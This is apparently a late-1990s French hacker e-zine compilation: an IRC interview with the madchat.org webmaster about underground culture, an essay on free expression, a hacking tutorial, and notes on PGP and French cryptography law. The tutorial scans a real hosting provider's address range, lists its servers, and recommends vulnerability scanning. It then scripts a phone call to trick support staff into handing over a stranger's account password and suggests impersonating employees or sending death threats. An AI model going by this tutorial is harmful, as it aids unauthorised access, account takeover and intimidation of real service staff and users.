J'ai réalisé une ch'tite interview basé sur l'opinion de quelqu'un dont beaucoup de gens auront entendu parler. J'ai essayé de sortir d'un contexte matériel au cours de l'interview pour me reporter ailleurs, enfin, regardez par vous même:

<[mAdchAt]> Salut Clad
<Clad Strife  > Salut mad
<Clad Strife  > Alors Tu as eu plusieurs pseudos, mais pour faire paraitre plus officiel tu as gardé celui de madchat. D'après ce que l'on sait tu es le webmaster de madchat.org qui n'a qu'un seul but (pas la domination planetaire par la saturation médiatique), c'est de diffuser la notion de culture underground de manière insidueuse à travers les zines.
<[mAdchAt]> Oui, d'ailleurs, cette phrase [la domination.. etc] c'est une private joke qui est la translation du sogan de CdC je crois.Encore une fois, disons faire un peu passer les idees underground au grand public....
<Clad Strife  > Dis moi, tu as quel âge?
<[mAdchAt]> j'ai 20 ans
<Clad Strife  > Tu as un métier ou tu es encore étudiant?
<[mAdchAt]> Je suis etudiant en Chiropratique a Atlanta depuis plus d'un an
<[mAdchAt]> http://www.chiropratique.org [ Site que j'ai realise pour l'assoc francaise de chiro] c la 2 emme profession de sante aux US
<[mAdchAt]> Disons que la Chiro est a la medecine ce que l'etat est a l'underground :)
<Clad Strife  > ouioui pas d'urls merci :)))
<[mAdchAt]> donc ca se rejoins
<Clad Strife  > D'accord on se fait une idée
<Clad Strife  > Tu comptes passer ta vie aux Etats-Unis?
<[mAdchAt]> J'en sais rien, probablement pas, sauf si j'ai une bonne opportunite pour repondre a ta question concerant un job/etudes - je bosse aussi comme admin dans mon universite de chiro .. fo bien vivre
<Clad Strife  > ça gagne beaucoup ça?
<[mAdchAt]> 4000 F par mois souvent moins,.. mais je glande que dalle :)
<Clad Strife  > payer à ne rien foutre: mon reve :-)
<[mAdchAt]> vi c'est ca, tant que je suis sur l'horloge, je suis paye :)
<Clad Strife  > Qu'est-ce qui t'a poussé à t'intéresser à l'underground?
<[mAdchAt]> J'avais 15 ans je crois, et j'avais cree mon BBS 'underground' appelle SiLK, sur Reims 51, c'est la que j'ai eut pas mal de contacts avec des mecs qui ecrivaient des mags, du hack, du warez.. etc.. c'etait vraiement bon esprit ! C'est un peu ce que j'ai essaye de recreer avec la Mailing list et le serveur de news groups de madchat : une petite scene qui s'entraide et se connait...
<Clad Strife  > et le bon esprit marche tjrs aussi bien?
<[mAdchAt]> Sur internet, pas vraiment, on fait de notre mieux avec madchat
<Clad Strife  > passke je suppose que c'est important de bien s'entendre avec ceux qui vous lisent chaque semaine.
<Clad Strife  > Tu reçois beaucoup de mails (à part les miens)?
<[mAdchAt]> lol :)
<Clad Strife  > Ils te disent koi en général?
<[mAdchAt]> bah 50 par jour environ cad 50 mails personnels, sans compter tout le reste que je dois lire egalement. C'etait pire avant la creation de la 'Team' mAdchAt les mecs m'aident vraimenbt beaucoup en ce moment.
<Clad Strife  > Quels genre d'aides t'apporte cette 'Team'?
<[mAdchAt]> Bah K s'occupe de creer un nouveau design et de l'IRC, Tobo s'occupe des robots PHP et CGI, Wolf et Ulysse de la Mailing List et des News, y'a aussi Cybz, Taz, Solid-Snake, Tezca, Veinscuts, Night04, ... :)
<Clad Strife  > finalement toi tu fais plus rien koi!! :)
<[mAdchAt]> hehe oui je fous plus rien maintenant :) disons que je fait de la Comm interne.. :)
<[mAdchAt]> Mais c'est interessants, car on a vraiment tous la meme philosophie, a terme, j'espere pouvoir me retirer dans un monastere.
<Clad Strife  > k
<Clad Strife  > Pis as-tu des projets pour madchat?
<[mAdchAt]> Oui, pour l'an 2000 on a place des bombes dans toutes les grands bourses europeenes...  lol
<Clad Strife  > *voyez chers lecteurs la mentalité de votre idole* :)
<[mAdchAt]> Disons que madchat va devenir plus interractif, a la facon de Slashdot ou de freshmeat, les auteurs enverront leurs mags et feront eux meme leur description.. tout sera gere par une grande base de donnees.
<Clad Strife  > ça c'est déjà moins évident pour nous, parce que tu peux être sur que les auteurs manqueront parfois d'objectivité
<[mAdchAt]> Oui, donc il y aura cette base de donnes, mais les descriptions de madchat sur les pages web resteront comme elles sont actuellement.. cela fera 2 points de vues...
<Clad Strife  > celui de l'auteur et celui de madchat
<[mAdchAt]> Voila, celui de la team...
<Clad Strife  > Si tu étais surfer, que tu visitais madchat, quel opinion regarderais-tu en premier, celle de madchat ou du webmaster?
<[mAdchAt]> Celle de mAdchAt :)
<Clad Strife  > M'aurait étonné... ^^
<Clad Strife  > Un autre sujet qui aurait surement intéressé beaucoup de lecteurs de mon interview: quelques détails sur ta vie actuelle par rapport à l'underground. As-tu eu des démélés avec la police, des mails de menaces?
<[mAdchAt]> Oui, mais je n'en parlerais pas ici.
<Clad Strife  > Même sans en parler, est-ce que ces démélés risquent de compromettre l'avenir de madchat?
<[mAdchAt]> Je ne peux pas en dire plus, disons que mAdchAt devrait continuer et que l'on fait tout pour en ce moment.
<Clad Strife  > Tu sais que vis à vis de la loi tu es responsable de ce que tu diffuses puisque tu héberges les zines.
<[mAdchAt]> Non, je ne les heberge plus, ce sont des liens vers 'Shif2Mags' un site sur Xoom qui se charge de referencer tous les zines qui sortent. De plus le disclaimer semble adapte. La police a surtout des problemes de comprehension globale de ce que nous faisons, ils croyaient
<Clad Strife  > de toutes manières ce genre de démélés ne dure pas longtemps car les flics comprenne pas grand chose
<[mAdchAt]> Non je dois me la fermer a ce sujet ..
<[mAdchAt]> Nous ne sommes pas (Note de Clad après correction: pas ou plus? ça serait intéressant d'approfondir le sujet) en democratie, le pouvoir fait toujours ce qu'il veut, quel que soit le regime, quelles que soit les apparences.
<Clad Strife  > Bien sur, sinon il n'y aurait pas de pouvoir...
<[mAdchAt]> Neanmoins, il est egalement possible que le pouvoir ne veulent pas 'Que' le mal des individus, le but de madchat est de faire en sorte que ces individus puissement simplement faire leur opinion en connaissance de cause.
<Clad Strife  > dans la situation actuelle de cette fin du millénaire, à qui penses-tu que le pouvoir profite?
<[mAdchAt]> Question difficile, beaucoup de theories a ce sujet.
<Clad Strife  > c ce que je me déchire à écrire pour les lecteurs ^_^
<[mAdchAt]> heheh :)
<Clad Strife  > Pis sinon, penses-tu que la diffusion de zines (qui se veulent anti-oppression et anti-monopole), puisse, dans l'inconscient de chacun, changer un point de vue une idéologie faite vis à vis de ceux qui ont le pouvoir?
<[mAdchAt]> C'est le but en effet.
<Clad Strife  > Bien que l'on puisse cerner "l'inconscient" de madchat qui forme presque un seul mouvement, au début, le but de madchat ça a été koi? Quel idéal t'a poussé à faire ton site?
<[mAdchAt]> Ok, l'ideal c'est un peu l'ideal Hacking, cad une circulation libre des connaissances et de l'information, un peu l'ideal Peace & Love remis a la mode 2000 :) Les choses evoluent d'ailleurs.. les hackers ne sont plus consideres comme des delinquants par la plupart des gens, mais comme des individus qui cherchent le bien de la societe. Ironie du sort :)
<Clad Strife  > Si l'on suit ton idée, le fait de mettre des ezines à caractère violents ou anarchistes ne vient pas à contredire ce que tu as dit --> Peace & Love?
<[mAdchAt]> L'anarchie n'a rien de mechant,
<Clad Strife  > y'a les 2 , j'avoue que tu diffuses parfois des textes sadiks
<[mAdchAt]> Les zines violents ne sont pas publies, sauf s'ils apportent une certaine athmosphere, un certain esprit.
<Clad Strife  > c'est ça la liberté d'expression en effet, mais le fait de ne pas tous les publier es-ce parce que tu:
<Clad Strife  > - as peurde représailles venant d'ailleurs
<Clad Strife  > - n'aime pas voir l'image "peace & Love" défigurée par Des textes parfois stupides
<Clad Strife  > - rétrécir cette marge de liberte d'expression
<[mAdchAt]> Cela nous protege, et cela permet en effet de rester dans la philosophie hacking
<Clad Strife  > Sortons de notre "bulle" de philosphie et j'aimerais savoir: madchat etait surtout axé hacking: pense tu nécessaire que d'autres thèmes apparraissent? Warez, Phreaking etc? Est-ce parceque c'est aussi de la culture underground?
<[mAdchAt]> Nous avons deja des pages Warez/Phreak, le probleme est la 'deviance' de certains zines de cette categorie par rapport a cette philosphie underground justement
<[mAdchAt]> Exemple: phreaker pour le fun, ou le warez pour l'argent
<Clad Strife  > oui je vois
<Clad Strife  > personnellement, dans ton intime opinion, tes textes préférés sont ceux basés sur quels thèmes?
<[mAdchAt]> 2 choses, le hacking innovant et les textes delires [ qui sont en fait des moyens de s'amuser en faisant passer une atmosphere creative et interessante du milieu 'underground' ]
<Clad Strife  > à ce sujet: quels sont les zines que tu conseilles à tous parce qu'ils seraient bons ou de bonne qualité?
<[mAdchAt]> Heuuu
<[mAdchAt]> Les Zines de Clad Strife, bien sur : Hacker 2020 :)
<[mAdchAt]> Il y en a beaucoup d'autres : NoWay, No Route, Hackoff, Deathly By, 3d13, et tout ceux avec le tag 'Philo Excellente' sur madchat
<Clad Strife  > Noroute, Noway innovent encore? Est-ce par leur idéologie qu'ils font percevoir ou par leurs conseils (astuces de hack)?
<[mAdchAt]> Ouaip la philo et les techniques que l'on ne retrouve pas ailleurs
<Clad Strife  > As-tu déjà fait du hack? du vrai (les réseaux)?
<[mAdchAt]> Cad chercher des failles de secu ?
<Clad Strife  > en chercher et les exploiter (facultatif)
<[mAdchAt]> Les chercher, oui, les exploiter, non, c'est illegal :)
<Clad Strife  > LoL
<Clad Strife  > tu en as trouvé? de vraiment intéressantes?
<[mAdchAt]> Non je n'ai pas fait de decouvertes exceptionnelles, mais se balader sur un nouveau systeme [consentant, bien sur] est une experience nouvelle a chaque fois... On m'a d'ailleurs recemment propose de l'argent pour 'hacker' le site d'un hotel, les mecs voulaient juste connaitre le # de telephone d'une chambre et le nom de son occupant a un moment donne..
<[mAdchAt]> Je n'ai pas accepete. Mais pousse par la curiosite, j'ai ete faire un tour du cote du site, ca aurait ete tres facile.
<Clad Strife  > qu'est-ce qui t'as empêché  de le faire?
<[mAdchAt]>  Comme quoi... cherche l'argent par le hack n'est pas difficile... Mais ce n'est pas du tout dans ma philosophie personnelle.
<Clad Strife  > penses-tu que les ezines writers observent une éthique commune ou pas? parce qu'à ce sujet il faudrait s'étendre
<[mAdchAt]> A quelques variations pres, je dirais que oui, les zines 'majeurs' ont tous plus ou moins le meme ton.
<Clad Strife  > Bien que on écrive des zines sur le piratage, comment pirater ceci, cela... Penses-tu à une notion de pacifisme?
<[mAdchAt]> Oui la contradiction est d'ailleurs interessante, mais la societe etant ce qu'elle est, les sittings devant l'assemblee nationnalle [pour la france] n'auraient que peu d'effets non ?
<Clad Strife  > All right.
<[mAdchAt]> D'ailleurs le but de madchat, n'est pas que des sites se fassent hacker, mais bien une diffusion
<Clad Strife  > aspect "Peace & love"....
<[mAdchAt]> pacifique d'un certain etat d'esprit, que tu partages surement deja, lecteur de cette interview :)))
<Clad Strife  > je pense que oui sinon il aurait fermé son navigateur :)
<[mAdchAt]> A ce propos, je voudrais ajouter que le hack de pages web, n'est que la partie hemergee de l'iceberg. Ce qui fait mal au bateau, c'est la montagne qui est sous l'eau...
<Clad Strife  > Tu connais beaucoup de gens qui touchent le fond de l'iceberg?
<[mAdchAt]> Cad ?
<Clad Strife  > Eh bien: tu connais beaucoup de hackers qui à l'instar de K.Poulsen sont aussi doués mais moins courageux?
<[mAdchAt]> La partie non hemergee de l'iceberg : je pense par exemple a un hack de site qui prend des informations illegales sur ses consommateurs, le hack etant de modifier leurs bases de donnes par exemple.
<Clad Strife  > ça se fait plus au niveau du site la modification de bases de données, mais au niveau de l'intranet, ou sur les petits sites du PC du webm
<[mAdchAt]>  - Ca se fait au niveau du serveur. La base etant generalement sur le serveur, pour permettre les requetes dynamiques par exemple.
<Clad Strife  > ça dépend des sites because l'importance du site mais on s'éloigne du sujet héhé.
<[mAdchAt]> Ben... oui je connais des gens qui font ca, mais peu s'en vanteront.
<Clad Strife  > Oui c vrai que...
<[mAdchAt]> Bref, c'est ce que j'aurais aime faire, si je n'avais pas pris l'orientation 'philo peace & love' ;)
<Clad Strife  > - Tu t'es déjà fait pirater? Actuellement on cherche à te pirater?
<[mAdchAt]> Arf, non je n'en ai pas peur, je chercherais a comprendre pourquoi, quel etait le but du gars qui veut faire ca... Ca me permettrait d'ameliorer le site, mais un email perso suffirait :)
<[mAdchAt]> Non nous ne nous somme jamais fait hacker, bien que le serveur ai une securite pitoyable [wingate].
<Clad Strife  > Arrf c bien de dire ça: les gens vont se ruer dessus
<Clad Strife  > Mais toi personellement tu t'es déjà fait pirater?
<[mAdchAt]> Non jamais, je n'ai d'ailleurs jamais eut affaire a un virus qui me tienne en defaut plus de 2 minutes :). Sinon pour madchat: l'evolution de madchat va se situer au niveau de la banque de donnees de connaissances avec le moteur de recherche, et au niveau de la communication parmis la scene francaise [serveur de newsgroups, irc, mailing list, actualites sur madchat].
<Clad Strife  > bizarrement je sens qu'on n'a pas fini d'entendre parler de madchat... :)))
<[mAdchAt]> Je l'espere :)
<Clad Strife  > Encouragerais-tu les jeunes newbies à lire et à expérimenter ce qui se trouve sur ton site? Pour etre clair à découvrir ce milieu
<[mAdchAt]> Bien sur, je les encouragerais a se trouver une specialite et a travailler pour devenir eux meme vecteurs de decouvertes dans leur dommaine et porteurs d'un message pour leurs concitoyens. Ce qui peut se faire dans la legalite.
<Clad Strife  > LoL
<Clad Strife  > Ca risque de faire baisser ta cote de popularité mais: est-ce que tu aprécies les lamers?
<[mAdchAt]> lol :)
<Clad Strife  > en tant que lamers je veux dire ceux qui envoye des trojans, s'la racontent sur IRC par flood chan etc....
<[mAdchAt]> Non je ne les apprecie pas du tout, ce sont eux qui donnent a la scene son aspect de profiteurs ou de 'petits cons'. On s'amuse bien plus quand on cree quelque chose soi meme, ou quand on cherche a depasser ses propres limites, qu'en passant ses soirees a embeter le voisin pour sourire sur la 'betise' de la victime qui n'y connait rien.
<Clad Strife  > Voilà: -50% de visite sur ton site ;-)
<Clad Strife  > Je pense quand même qu'on ne s'amuse pas mais que l'on s'épanouit, nan?
<[mAdchAt]> Excatement, l'epanouissement de chacun par le hacking :)
<Clad Strife  > Merci pour cette interview, je pense qu'on en sait maintenant plus sur la mentalité du webmaster d'un site comme madchat.org.

Dans la continuité sur la liberté d'expression voici un texte que j'ai écrit:

 Par abus on parle des abus de la liberté d'expression. Avant d'approfondir ce thème, parler du premier. Ce premier thème regroupe un sens très vaste tant au niveau du sens que de sa justesse dans le contexte utilisé. Je vais, bien entendu, parler de "Liberté d'expression underground": cette liberté n'est pas une liberté, le terme est assez mal employé. On parlerait de droit de s'exprimer, parce que concrètement on ne devrait pas divulguer d'idées "hors-la-loi": on n'a pas le droit d'inciter les gens à se criminaliser ou à empiéter sur la vie des autres. En bref la loi définit par des codes l'idée: "vit ta vie". Le droit d'expression qui nous permet d'exprimer nos idées, aussi choquantes peuvent-elles être, est limité. Ou bien limité à tort, ou à juste titre. A tort ce serait quand on essaye de vous empêcher de vous exprimer sur un thème qui n'est pas classé "outlaw" juste parce que celà empêcherait certaines personnes de tourner en rond. A juste titre c'est quand vos idées sont racistes (par exemple) ou ont une tendance non modérée... Le droit de s'exprimer sur un thème voulu est primordial, c'est ce qui fait avancer notre société; partager ses idées et ses ressources permet de s'enrichir tant culturellement que scientifiquement. Si on cherche à expliquer ce que le droit d'expression apporte comme bienfaits à l'esprit humain, je vous conseille d'aller chercher un sac de couchage.
 Si l'on reste dans un cadre "underground" on peut aussi trouver des abus. Un abus se caractérise par le fait de s'exprimer de manière à inciter les gens qui vous lisent ou vous écoute à faire un action, qui est étudiée à la base. On pourrait chercher des abus dans de nombreux textes alors qu'ils ne sont pour la plupart que totalment involontaires (ça fait partie de la subjectivité et de la personnalité de la personne cette caractérisation). Là où l'on peut trouver des incitations, c'est dans les textes démagogues qui ont un but que l'orateur se garde d'exprimer clairement. Bien que vous avez (en général compris, à moins que l'orateur soit un très bon orateur et psychologue et s'adresse à une catégorie de personnes) cerné l'idée générale du texte, et où voulait en venir l'orateur, vous ne pourrez pas accuser directement l'orateur sur ses opinions, car son texte est lui aussi dans les limites de la "liberté du droit d'expression" et en même temps ne porte pas atteinte (par ses propos) à la personnalité de quelqu'un (comme peuvent le faire des propos racistes, mensongers ou autres). Actuellement certains partis politiques (que l'on ne citera pas) se basent sur la démagogie et profitent de la liberté d'expression pour inciter les gens à voter pour eux. En général s'exprimant sur une idée fixe (la regligon, les natonalités, autres) et n'ayant pas de discours cohérent, ces partis politiques peuvent aboutir à leurs fins, ou non selon la clairvoyance des personnes à qui ils s'adressent. Dans l'underground il n'y a pas de réels démagogie car l'une des bases de l'éthique de la plupart des membres de ce mouvement, est avant tout de développer la liberté d'expression, autour du domaine, que l'on pense être étouffée (notamment par des organismes gouvernementaux qui font de la censure et du cassage de réunions, à noter que le droit de réunion est un droit fondamental, ou font taire les affaires sur lesquels certains organismes auraient été incompétents ou accusant à tort...). L'écriture d'e-zines permet le développement de ce droit d'expression, car la création et la propagation de données est largement moins contrôlable sur le net que dans la réalité: c'est un atout que l'on exploite actuellement, qu'il serait facile de supprimer, mais le droit d'expression reprendrait le dessus  en accusant cet état de fait "d'auto-censure" et "d'atteinte à la liberté (humaine)"...
 Trop de choses à dire, encore des choses à découvrir et à explorer dans la psychologie et le milieu social humain face aux nouvelles technologies, le tout est de comprendre ce qui se passe actuellement et comment tout évolue.
 
 

   Introduction: Article original pour IGA. A tout ceux qui associent la reprise d'articles à leur qualité. Je vais expliquer comment faire: aucune théorie; uniquement du technique, ça fera plaisir. Ce genre de techniques s'apparente à celles que les vrais hackers utilisent: donc basée surtout sur la réflexion, et un sens de la recherche.
   Savoir où chercher ses informations est essentiel, savoir comment fonctionne un réseau, un système l'est encore plus. A tout ceux qui apparente le brute force hacking, le flooding, les trojans(...), au domaine des lamers: ça reste vrai sauf quand on sait les utiliser dans un but efficace.
   La technique que je vais vous présenter s'apparente principalement sur:
- le brute force hacking
- le social engeenering

Application:

Partie1:

   Nous cherchons à pirater (par exemple) le site http://www.multimania.com/912hd. La première chose que les newbies cherchent à faire, c'est se connecter sur multimania.com avec un programme comme VcrackFTP, et essayer le brute force hacking avec comme login 912hd et un dico. Vous avez vu que ça marchait? moi non, désolé. Pourtant il y a bien un moyen. C'est là que s'instaure la recherche d'indices, vague puis plus approfondie: d'abord de petites marques que Multimania lache.
Exemple:
Quand vous vous connectez sur un site multimania avec CuteFTP, une fenêtre s'ouvre et le nom multimania s'affiche en ASCIIART, sauf que c'est tellement mal présenté pour le programme que c'est illisible. Bref, l'important est de savoir que lorsque l'on se connecte au serveur il affiche quelque chose.
Puis la recherche plus approfondie, c'est carrément le scanning d'IP. D'abord trouver l'ip de multimania: tracert, ou programmes et on obtient:
195.154.132.30
C'est avec cet IP que tout va se jouer, on scann le réseau dans une branche de 195.154.127.1 à 195.154.137.254, et on obtient (avec les ports ouverts, donc services disponibles sur chaque serveur):

195.154.128.064 ppp-64.net10.magic.fr
195.154.128.154 ppp-154.net10.magic.fr
195.154.128.187 ppp-187.net10.magic.fr
195.154.128.232 ppp-232.net10.magic.fr
195.154.129.019 ppp-19.net11.magic.fr
195.154.129.032 ppp-32.net11.magic.fr
195.154.129.033 ppp-33.net11.magic.fr
195.154.129.034 ppp-34.net11.magic.fr
195.154.129.041 ppp-41.net11.magic.fr
195.154.129.064 NNTP POP3 IMAP4 ppp-64.net11.magic.fr
195.154.129.065 ppp-65.net11.magic.fr
195.154.129.142 ppp-142.net11.magic.fr
195.154.129.165 DNS FTP GOPH POP3 TIME IMAP4 SNMP ppp-165.net11.magic.fr
195.154.129.166 ppp-166.net11.magic.fr
195.154.129.172 ppp-172.net11.magic.fr
195.154.129.201 ppp-201.net11.magic.fr
195.154.129.229 ppp-229.net11.magic.fr
195.154.129.231 ppp-231.net11.magic.fr
195.154.130.048 DNS FTP NNTP POP3 SNMP www.continentalwaterways.fr
195.154.131.099 ppp-99.net13.magic.fr
195.154.132.030 www.multimania.com
195.154.132.035 www.multimania.fr
195.154.132.050 domo.multimania.net
195.154.132.060 dozo.multimania.net
195.154.132.100 bytex.multimania.net
195.154.132.120 xml.multimania.net
195.154.132.130 DNS ns.multimania.net
195.154.132.131 moon.multimania.net
195.154.132.132 DNS FTP NNTP POP3 SMTP hop.multimania.net
195.154.132.133 DNS ta.multimania.net
195.154.132.134 ga.multimania.net
195.154.132.135 da.multimania.net
195.154.132.136 ha.multimania.net
195.154.132.137 DNS tic.multimania.net
195.154.132.138 tac.multimania.net
195.154.132.139 toe.multimania.net
195.154.132.140 ri.multimania.net
195.154.132.141 dynaserv.multimania.net
195.154.132.142 chat.multimania.net
195.154.132.146 qui.multimania.net
195.154.132.150 noc.multimania.net
195.154.132.151 re.multimania.net
195.154.132.152 bo.multimania.net
195.154.132.153 boot.multimania.net
195.154.132.154 tuc.multimania.net
195.154.132.155 me.multimania.net
195.154.132.156 hara.multimania.net
195.154.132.157 kiri.multimania.net
195.154.132.251 switch-1.multimania.net
195.154.132.252 core-1-gig-eth-0-sx.multimania.net

Sur ce scann on remarque que les serveurs multimania ne commenbcent à apparaitre qu'à partir de l'IP: 195.154.130.48 autrement dit: www.continentalwaterways.fr

Si on regarde les services de chaque serveur, le seul vraiment gros c'est:
195.154.132.132 DNS FTP NNTP POP3 SMTP hop.multimania.net
C'est donc ce serveur là qu'on va penser à viser. On se doute que c'est là que se connecte les usagers multimania pour mettre à jour leurs pages, mais ça reste à vérifier:
Alors on se connecte par FTP (ou port 21) à hop.multimania.net
On essaye de se logger (USER/PASS), mais ça rame... Si ça rame c'est qu'il y a du trafic sur ce serveur, si il y a du trafic c'est qu'il est important. Vous êtes surs dans 90% des cas d'être tombé sur le serveur ftp de multimania. De plus, MULTIMANIA s'affiche en AsciiArt comme avec CuteFTP. Certains me dirotn: "oui mais quand on se connecte sur son compte multimania.com/912hd, cuteftp affiche hop.multimania.net, donc ta recherche est inutile". Non, ce n'est pas inutile, car Multimania n'est qu'un exemple, et comme tous les exemples il sert à illustrer une vérité générale. Déduisez-en que ça marche pour à peu près tout les services du genre.
Bon, c'est bien beau, mais si on échoue environ 5 tentatives de connection on est déconnecté. Donc la solution du brute force hacking est éliminé d'office. Il faut essayer de se logger sans les restrictions: utilisons des scanners, quand je parle de scanners je pense surtout à Nessus:
vous rentrer une cible, et il vous en affiche les caractéristiques avec les risques que ça comporte. Avec ce genre d'outils le piratage devient plus aisé car en affichant tous les problèmes du serveur et ses failles, y'a plus besoin d'aller chercher très loin pour pirater des serveurs mal protégés. Installez Linux, vous en serez pas moins heureux.

Ca c'était pour le piratage d'un site perso, mais ça aurait pu aller plus loin.

Partie 2:

Piratage d'un serveur. Il existe plusieurs voies pour pirater un serveur.
- Compter sur ses failles (mais je n'étudierais pas)
- Par le Social Engeenering
- Par des moyens détournés.

   Je n'expliquerais pas la première, bien que ce soirt chose à faire avant tout. Parlons du social Engeenering, et du serveur. Parlons d'un serveur web à pirate: zipiz.com: la page n'a rien de particulier. Comment va-t-on se démmerder pour avoir le pass? Avant d'aller plus loin je rappelle que:
Il y a 70% de chances que les passwords de différents services coincident. C'est sur cette faille que va reposer notre attaque:
On voit que le site est hosté par e-stat, c'est intéressant car e-stat demande un pass pour accéder au compte utilisateur. Donc on va sur le site estat.com. On essaye de rentrer un nom d'utilisateur bidon, on valide sans mettre de pass. Normalement une page d'erreur de pass ou d'utilisateur s'affiche puis on vous dit que si vous avez perdu votre pass, voilà comment faire, etc... je dis "normalement" car estat ne le fait pas. Il faut cliquer sur le signet "Votre compte" pour accéder à son compte et un peu plus en bas de la page on vous explique comment retrouver votre pass: donnez le N° de Série de votre compte et un email sera envoyé à l'adresse qui a été enregistrée dans vos infos. Hors vous ne pouvez accéder à cette boite e-mail, donc va falloir ruser. D'abord avoir le serial de l'accompte ça peut aider. On regarde la page où il y a la bannière estat, et on regarde le source.
Le serial est : 13701523584
C'est là qu'intervient le SE.
On décide d'appeler Estat (personellement allez les voir dans leurs bureaux: c'est 10 fois plus convaincant):
Comment retrouver les informations concernant les coordonnées d'estat. On va sur networkssolutions.com ou on prend un programme qui fais des DNS lookups (WS PING PRO PACK par exemple), puis on obtient diverses infos dont l'adresse téléphone de l'administrateur. Il faut téléphoner à ce numéro et...
Opératrice> Estat bonjour, que puis-je faire pour vous?
Vous> Bonjour, j'ai un problème avec mon compte sur estat, est-ce que vous pourriez m'aider?
Opératrice> Eh bien nous allons voir ça: quel est votre problème?
Vous> J'ai un compte estat mais je ne peux pas y accéder car je n'ai plus le pass...
Opératrice> il vous suffit d'aller dans la partie "votre compte", on vous explique comment récupérer votre password.
Vous> J'ai déjà essayé mais je n'ai encore reçu aucun mail
(Autre alternative)
Vous> Je sais bien madame, mais j'ai changé de compte mail
Opératrice> Désolé nous ne pouvons rien faire pour vous
(Autre alternative)
Opératrice> Alors je vais vous posez quelques questions concernant vos informations lors de l'inscription.

Si rien ne marche commmencez à gueuler et à faire que vous allez porter plainte. Dites que vous voulez parlez au dirigeant, etc... Pis si ça marche toujours pas, ayez du culot ou laissez tomber.
Il y a différentes possibilités de réponse de l'opératrice, tout dépend de la manière d'agir de celle-ci et de sa personnalité ou conception des choses.

J'expose maintenant le cas de moyens détournés. J'expose ça aussi simplement que rapidement car il y a quantité indénombrable de ces moyens:
je vais caractériser ces moyens par deux ou trois exemples.
Vous connaissez quelqu'un qui travaille à Estat et pourrait vous avoir les pass par exemple
Vous pouvez vous faire passer pour un employé ou un stagiaire
Vous pouvez envoyer des menaces de morts, ou foutre le bordel pour avoir ces pass
etc...
 
 

• Qu'est-ce que PGP
• Comment fonctionne PGP
• Codes sources
• La libéralisation de la cryptologie en France?

   PGP fonctionne sur un système de clefs, c'est à dire que l'algorithme d'encryptage et de décryptage est représenté sous forme d'une clef à avoir pour crypter et décrypter un fichier crypté avec la même clé. Donc pour décrypter un texte crypté, il vous faut la clé d'encryption: aussi simple que celà. Alors bien sur ça a tous ses avantages pour garantir une parfaite fiabilité du contenu des dcuments qui circulent:

• Personne qui ne possède la clef n'a des chances de décrypter un fichier encrypté, sauf peut-être en essaynat différentes clefs ou en trouvant l'algorithme de cryptage
• Il est possible de trouver comment décrypter sans la clef, mais plus la valeur de la clef (en bit) est grande, plus sera difficile un décryptage.

   Quant à la libéralisation de la cryptologie en France, elle a plus que pris forme. A ce sujet, ce genre d'évolution montre plusieurs choses: l'Etat n'est pas un obstacle à la liberté sur l'internet. D'ailleurs un communiqué du gouvernement illustrerait mes brefs propos:

Face au développement des moyens d'espionnage électronique, la possibilité de crypter les communications apparaît comme une réponse efficace pour protéger la confidentialité des échanges et la vie privée.

Le Gouvernement s'est donné le temps de la réflexion. Après avoir consulté les acteurs, les experts et ses partenaires internationaux, il a acquis la conviction que les dispositions issues de la loi de 1996 ne sont plus adaptées. Elles restreignent fortement l'usage de la cryptologie dans notre pays, sans pour autant permettre aux pouvoirs publics de lutter efficacement contre des agissements criminels dont le chiffrement pourrait faciliter la dissimulation. Elles font en outre apparaître un risque d'isolement de la France par rapport à ses principaux partenaires.

Le Gouvernement a donc décidé un changement fondamental d'orientation, qui vise à rendre complètement libre l'usage de la cryptologie en France, tout en adaptant les moyens des pouvoirs publics pour garantir les libertés publiques dans ce nouvel environnement et pour lutter contre l'utilisation des moyens de chiffrement à des fins délictueuses.

Le projet de réforme législative qui sera présenté au Parlement s'articulera autour des orientations suivantes :

- offrir une liberté complète dans l'utilisation des produits de cryptologie, sous la seule réserve du maintien des contrôles à l'exportation découlant des engagements internationaux de la France (moyens de chiffrements faisant appel à des clefs d'une longueur supérieure à 56 bits) ;

- supprimer le caractère obligatoire du recours au tierces parties de confiance pour le dépôt des clefs de chiffrement. Le rôle de tiers de confiance ne sera pas limité à la gestion des clefs mais pourra s'étendre à d'autres missions, comme la certification de signatures électroniques. Le recours à ces organes et aux mécanismes d'auto-séquestre sera encouragé. Les tiers de confiance pourront notamment solliciter l'attribution d'un label auprès des pouvoirs publics ;

- permettre aux pouvoirs publics de lutter efficacement contre l'usage des procédés de chiffrement à des fins délictueuses. A cet effet, le dispositif juridique actuel sera complété par l'instauration d'obligations, assorties de sanctions pénales, concernant la remise aux autorités judiciaires, lorsque celles-ci la demandent, de la transcription en clair des documents chiffrés. De même, les capacités techniques des pouvoirs publics seront significativement renforcées.

Il faut donc changer la loi, ce qui prendra plusieurs mois. Mais le Gouvernement a voulu que les entraves qui pèsent sur les citoyens soucieux de protéger la confidentialité de leurs échanges et sur le développement du commerce électronique soient levées sans attendre. Ainsi, dans l'attente des modifications législatives annoncées, le Gouvernement a décidé de relever le seuil de la cryptologie dont l'utilisation est libre de 40 bits à 128 bits, niveau considéré par les experts comme assurant durablement une très grande sécurité.

En ce qui concerne la fourniture des produits de cryptologie, la procédure déclarative sera simplifiée, notamment par la suppression du test d'arrêt simple. Enfin, les contraintes pesant sur les tierces parties de confiance qui peuvent d'ores et déjà être modifiées par voie réglementaire seront fortement assouplies, en particulier par la suppression des exigences d'habilitation secret-défense pesant sur leurs personnels et de disponibilité 24 h sur 24.

La transposition de la directive européenne de 1995 relative à la protection des données à caractère personnel doit permettre d'adapter le cadre juridique interne à la généralisation du traitement informatique des données et à l'essor de l'internet. Elle doit garantir la préservation des droits aussi fondamentaux que la liberté individuelle et le respect dû à la vie privée.

La transposition de la directive, loin d'affaiblir les garanties légales aujourd'hui offertes aux citoyens, aura pour objet d'assurer à ceux-ci un haut niveau de protection.

Dans cette optique, les orientations que le Gouvernement proposera viseront notamment au renforcement :

- des moyens de la Commission nationale de l'informatique et des libertés (CNIL),

- du pouvoir de contrôle de la CNIL. En particulier, la CNIL devra être en mesure de mieux exercer son pouvoir de contrôle a posteriori dans le domaine, en expansion rapide, du traitement des données à des fins commerciales.

Les transactions dématérialisées prennent une importance croissante, que ce soit en matière commerciale ou dans les procédures administratives. Certains obstacles juridiques rendent nécessaire une modification du code civil pour permettre l'adaptation de notre droit de la preuve aux nouvelles technologies et à la signature électronique.

Cette modification répondra à une double préoccupation :

- la conformité avec les orientations retenues au sein de l'Union européenne,

- la prise en compte, avec toutes les garanties nécessaires, de la valeur probante du document sous forme numérique et des signatures électroniques.
